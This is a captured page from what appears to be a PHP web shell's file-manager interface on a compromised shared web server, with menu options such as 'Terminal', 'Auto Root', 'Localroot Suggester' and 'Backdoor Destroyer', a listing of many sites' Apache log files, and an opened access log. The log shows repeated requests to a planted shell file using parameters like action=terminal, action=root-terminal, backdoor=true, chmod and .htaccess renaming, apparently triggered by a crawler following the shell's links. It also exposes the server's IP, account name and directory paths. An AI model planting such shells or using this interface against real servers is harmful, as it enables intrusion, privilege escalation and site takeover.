Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
LiteSpeed
Server IP : 23.137.84.82 & Your IP : 216.73.216.154
Domains :
Cant Read [ /etc/named.conf ]
User : epicgamerzoneco
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
apache /
domlogs /
epicgamerzoneco /
Delete
Unzip
Name
Size
Permission
Date
Action
arcadekingdom.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
arcadekingdom.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
battlepixels.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
battlepixels.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
beautifulhomeideas.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-14 12:14
beautifulhomeideas.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-16 12:05
botanicnest.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
botanicnest.co.uk.epicgamerzone.co.uk-ssl_log
194
B
-rw-r-----
2025-11-16 13:10
bountygameindia.com.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
bountygameindia.com.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
britnewsbulletin.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
britnewsbulletin.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
businesssuccesspath.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-09-21 12:13
businesssuccesspath.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-09-25 12:04
comfortlivinguk.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
comfortlivinguk.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
corporatesuccessplan.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-09-20 12:16
corporatesuccessplan.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-09-25 12:04
cozylifestyleuk.co.uk.epicgamerzone.co.uk
507
B
-rw-r-----
2025-11-15 14:37
cozylifestyleuk.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-16 12:05
dreamyhousedesigns.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
dreamyhousedesigns.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
enterprisegrowthhub.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
enterprisegrowthhub.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
entrepreneurialmindset.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
entrepreneurialmindset.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
epicgamerzone.co.uk
0
B
-rw-r-----
2025-10-12 12:13
epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-15 12:03
eveningnewsdigest.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-09-09 12:07
eveningnewsdigest.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-09-23 12:05
floraessence.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
floraessence.co.uk.epicgamerzone.co.uk-ssl_log
450.1
KB
-rw-r-----
2025-11-17 12:39
gamerodyssey.co.uk.epicgamerzone.co.uk
174
B
-rw-r-----
2025-11-15 12:35
gamerodyssey.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
gamextremeuk.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
gamextremeuk.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
greenalchemy.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
greenalchemy.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
groupwink.com.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
groupwink.com.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
herbaura.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-16 12:05
herbaura.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
herbhavenuk.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
herbhavenuk.co.uk.epicgamerzone.co.uk-ssl_log
609.2
KB
-rw-r-----
2025-11-17 12:36
herbsageuk.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
herbsageuk.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
herbsymphony.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
herbsymphony.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
herbwhisper.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
herbwhisper.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
homedecorexperts.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
homedecorexperts.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
innovativebizideas.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
innovativebizideas.co.uk.epicgamerzone.co.uk-ssl_log
109.19
KB
-rw-r-----
2025-11-17 12:38
joystickmasters.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-16 12:05
joystickmasters.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-16 12:05
kingssquare.info.epicgamerzone.co.uk
15.5
KB
-rw-r-----
2025-11-17 12:39
kingssquare.info.epicgamerzone.co.uk-ssl_log
639.03
KB
-rw-r-----
2025-11-17 12:39
leveluphaven.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
leveluphaven.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
londonlatestnews.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
londonlatestnews.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
luxuryhomenest.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-16 12:05
luxuryhomenest.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
marketleadersuk.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-16 12:05
marketleadersuk.co.uk.epicgamerzone.co.uk-ssl_log
194
B
-rw-r-----
2025-11-16 13:56
modernhomevibes.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
modernhomevibes.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
morningnewsround.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-09-19 12:01
morningnewsround.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-09-25 12:04
nationwidereport.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
nationwidereport.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
naturenectar.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
naturenectar.co.uk.epicgamerzone.co.uk-ssl_log
637.71
KB
-rw-r-----
2025-11-17 12:39
nextgenarcade.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-16 12:05
nextgenarcade.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
perfecthomesolution.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
perfecthomesolution.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
professionalbizworld.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-09-13 12:13
professionalbizworld.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-09-13 12:13
questlegends.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
questlegends.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
smartechhub.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
smartechhub.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
smarttradesolutionss.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
smarttradesolutionss.co.uk.epicgamerzone.co.uk-ssl_log
4.08
KB
-rw-r-----
2025-11-17 12:34
strategicbrandinguk.co.uk.epicgamerzone.co.uk
11.5
KB
-rw-r-----
2025-11-17 12:38
strategicbrandinguk.co.uk.epicgamerzone.co.uk-ssl_log
23.33
KB
-rw-r-----
2025-11-17 12:39
techempiree.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
techempiree.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
technovaaa.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
technovaaa.co.uk.epicgamerzone.co.uk-ssl_log
73.5
KB
-rw-r-----
2025-11-17 12:38
techwizardd.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
techwizardd.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
theuknewsroom.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
theuknewsroom.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
topstoriesbritain.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
topstoriesbritain.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
ukheadlinehub.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
ukheadlinehub.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
ultimatelivingspace.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-16 12:05
ultimatelivingspace.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
verdantherbs.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
verdantherbs.co.uk.epicgamerzone.co.uk-ssl_log
99.17
KB
-rw-r-----
2025-11-17 12:39
virtualarenauk.co.uk.epicgamerzone.co.uk
0
B
-rw-r-----
2025-11-17 12:18
virtualarenauk.co.uk.epicgamerzone.co.uk-ssl_log
0
B
-rw-r-----
2025-11-17 12:18
Save
Rename
74.7.227.184 - - [17/Nov/2025:12:18:16 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3361 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:19 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73&rename=blocks HTTP/2" 200 3347 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:21 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f6a732f6a732f696e636c756465732f6373732f7770 HTTP/2" 200 3272 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:22 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73&rename=includes HTTP/2" 200 3347 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:23 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=blocks&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:25 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f6a732f6a732f696e636c756465732f6373732f7770 HTTP/2" 200 3191 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:27 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=js&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:29 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f6a732f6a732f696e636c756465732f6373732f7770 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:32 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f77702f&f=.htaccess HTTP/2" 200 3580 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:33 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770&rename=.htaccess HTTP/2" 200 3266 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:35 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770&rename=ngRpwIPola.php HTTP/2" 200 3266 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:37 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73&rename=js HTTP/2" 200 3348 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:39 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=ngRpwIPola.php&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770 HTTP/2" 200 3253 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:41 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f77702f&f=ngRpwIPola.php HTTP/2" 200 14930 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:43 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f6a732f6a732f696e636c756465732f6373732f77702f&f=eQssw.php HTTP/2" 200 60091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:45 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f6a732f6a732f696e636c756465732f6373732f7770&rename=.htaccess HTTP/2" 200 3247 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:46 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770 HTTP/2" 200 3279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:48 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770 HTTP/2" 200 3253 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:50 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f6a732f6a732f696e636c756465732f6373732f7770&rename=eQssw.php HTTP/2" 200 3247 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:52 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=eQssw.php&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f6a732f6a732f696e636c756465732f6373732f7770 HTTP/2" 200 3253 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:54 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:56 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73&rename=jquery HTTP/2" 200 3347 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:18:58 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770 HTTP/2" 200 3285 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:00 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3264 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:02 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770 HTTP/2" 200 3269 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:06 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73&rename=backuply HTTP/2" 200 3360 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:08 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=backuply&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:10 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:12 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f7468656d65732f7477656e74797477656e74792f696e632f6a73 HTTP/2" 200 3362 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a71756572792f7770 HTTP/2" 200 3197 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:15 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770 HTTP/2" 200 3269 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:17 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f696e636c756465732f6a732f6a71756572792f7770 HTTP/2" 200 3161 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:19 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a71756572792f7770 HTTP/2" 200 3272 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a71756572792f7770 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:24 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a732f6a732f6a71756572792f6373732f6e6574776f726b2f7770 HTTP/2" 200 3140 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a71756572792f7770 HTTP/2" 200 3246 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:29 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e7461612f6a636678656473 HTTP/2" 200 3186 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:19:31 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3072 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; 